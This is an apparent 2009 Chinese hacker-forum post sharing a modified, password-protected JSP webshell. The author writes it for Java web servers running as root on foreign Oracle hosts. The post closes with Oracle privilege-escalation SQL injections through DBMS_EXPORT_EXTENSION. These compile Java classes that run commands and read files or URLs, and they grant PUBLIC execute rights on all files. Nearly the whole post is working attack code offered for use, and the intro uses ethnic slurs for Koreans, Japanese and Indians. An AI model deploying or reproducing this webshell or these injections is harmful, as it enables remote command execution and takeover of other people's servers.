改的一个非GBK的JSP的webshell
发表时间:2009-12-23 10:47:45 作者: 来源:红客联盟 收藏本页

最近遇到些国外的oracle服务器,其中好多系统的内核无法local root,但是有在root权限下跑的java的web服务,有在web目录写权限,但是经常用的jshell是GBK的,在国外(先是棒子,放过了,后有小鬼子,再后来还有阿三,实在受不了了,自己改一个)的机器上基本不支持该字体,没办法自己改了一个cmd的webshell多加了一个密码认证。S3Q中国红客联盟-全球最大的红客组织

------------------------------代码分割线------------------------------S3Q中国红客联盟-全球最大的红客组织

<%@ page import="java.io.*" %>S3Q中国红客联盟-全球最大的红客组织
<%S3Q中国红客联盟-全球最大的红客组织
//by: vitter@safechina.netS3Q中国红客联盟-全球最大的红客组织

     String PASS = "vitter"; S3Q中国红客联盟-全球最大的红客组织

    String cmd = request.getParameter("cmd");S3Q中国红客联盟-全球最大的红客组织
    String pass = request.getParameter("pass");S3Q中国红客联盟-全球最大的红客组织
    String output = ""; S3Q中国红客联盟-全球最大的红客组织

    if (pass != null && pass.trim().length() > 0) {S3Q中国红客联盟-全球最大的红客组织
        if (pass.equals(PASS)) {S3Q中国红客联盟-全球最大的红客组织
            output = "Success";S3Q中国红客联盟-全球最大的红客组织
            request.getSession().setAttribute("loginUser", "loginOk");S3Q中国红客联盟-全球最大的红客组织
        } else {S3Q中国红客联盟-全球最大的红客组织
            output = "password ERR!";S3Q中国红客联盟-全球最大的红客组织
            request.getSession().removeAttribute("loginUser");S3Q中国红客联盟-全球最大的红客组织
        }S3Q中国红客联盟-全球最大的红客组织
    } else if (cmd != null) {S3Q中国红客联盟-全球最大的红客组织
        String s = null;S3Q中国红客联盟-全球最大的红客组织
        try {S3Q中国红客联盟-全球最大的红客组织
            Process p = Runtime.getRuntime().exec(cmd);S3Q中国红客联盟-全球最大的红客组织
            BufferedReader sI = new BufferedReader(new InputStreamReader(p.getInputStream()));S3Q中国红客联盟-全球最大的红客组织
            while ((s = sI.readLine()) != null) {S3Q中国红客联盟-全球最大的红客组织
                output += s;S3Q中国红客联盟-全球最大的红客组织
            }S3Q中国红客联盟-全球最大的红客组织
        }S3Q中国红客联盟-全球最大的红客组织
        catch (IOException e) {S3Q中国红客联盟-全球最大的红客组织
            e.printStackTrace();S3Q中国红客联盟-全球最大的红客组织
        }S3Q中国红客联盟-全球最大的红客组织
    } S3Q中国红客联盟-全球最大的红客组织

    boolean ifLogin = false;S3Q中国红客联盟-全球最大的红客组织
    Object loingUser = request.getSession().getAttribute("loginUser");S3Q中国红客联盟-全球最大的红客组织
    if (loingUser != null) {S3Q中国红客联盟-全球最大的红客组织
        ifLogin = true;S3Q中国红客联盟-全球最大的红客组织
    } S3Q中国红客联盟-全球最大的红客组织
%>S3Q中国红客联盟-全球最大的红客组织
<FORM METHOD=POST ACTION='vittercmd.jsp'>S3Q中国红客联盟-全球最大的红客组织
    <%S3Q中国红客联盟-全球最大的红客组织
        if (!ifLogin) {S3Q中国红客联盟-全球最大的红客组织
    %>S3Q中国红客联盟-全球最大的红客组织
    Password:<INPUT name='pass' type=password>S3Q中国红客联盟-全球最大的红客组织
    <%S3Q中国红客联盟-全球最大的红客组织
    } else {S3Q中国红客联盟-全球最大的红客组织
    %>S3Q中国红客联盟-全球最大的红客组织
    CMD:<INPUT name='cmd' type=TEXT>S3Q中国红客联盟-全球最大的红客组织
    <%S3Q中国红客联盟-全球最大的红客组织
    }S3Q中国红客联盟-全球最大的红客组织
    %>S3Q中国红客联盟-全球最大的红客组织
    <INPUT type=submit value='Run'>S3Q中国红客联盟-全球最大的红客组织
</FORM>S3Q中国红客联盟-全球最大的红客组织
<hr>S3Q中国红客联盟-全球最大的红客组织
<pre>S3Q中国红客联盟-全球最大的红客组织
    <%=output %>S3Q中国红客联盟-全球最大的红客组织
</pre> S3Q中国红客联盟-全球最大的红客组织

附:oracle提权的小技巧 S3Q中国红客联盟-全球最大的红客组织

select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE '''' S3Q中国红客联盟-全球最大的红客组织
create or replace and compile java source named "LinxUtil" as import java.io.*; public class LinxUtil extends Object {public static String runCMD(String args) {try{BufferedReader myReader= new BufferedReader( S3Q中国红客联盟-全球最大的红客组织
new InputStreamReader( Runtime.getRuntime().exec(args).getInputStream() ) ); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";myReader.close();return str;} catch (Exception e){return e.toString();}}public static String readFile(String filename){try{BufferedReader myReader= new BufferedReader(new FileReader(filename)); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";myReader.close();return str;} catch (Exception e){return e.toString();}} S3Q中国红客联盟-全球最大的红客组织
}'''';END;'';END;--','SYS',0,'1',0) from dual ; S3Q中国红客联盟-全球最大的红客组织

select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE '''' S3Q中国红客联盟-全球最大的红客组织
create or replace and compile java source named "LinxUtil" as import java.io.*;import java.net.URL; public class LinxUtil extends Object {public static String runCMD(String args) {try{BufferedReader myReader= new BufferedReader( S3Q中国红客联盟-全球最大的红客组织
new InputStreamReader( Runtime.getRuntime().exec(args).getInputStream() ) ); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";myReader.close();return str;} catch (Exception e){return e.toString();}}public static String readFile(String filename){try{BufferedReader myReader= new BufferedReader(filename.startsWith("http")?new InputStreamReader(new URL(filename).openStream()):new FileReader(filename)); S3Q中国红客联盟-全球最大的红客组织
String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";myReader.close();return str;} catch (Exception e){return e.toString();}} S3Q中国红客联盟-全球最大的红客组织
}'''';END;'';END;--','SYS',0,'1',0) from dual ; S3Q中国红客联盟-全球最大的红客组织

select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''begin dbms_java.grant_permission( ''''''''PUBLIC'''''''', ''''''''SYS:java.io.FilePermission'''''''', ''''''''<<ALL FILES>>'''''''', ''''''''execute'''''''' );end;'''';END;'';END;--','SYS',0,'1',0) from dual ;

豫ICP备09015648号版权所有© 2001-2009中国红客联盟 All Rights Reserved.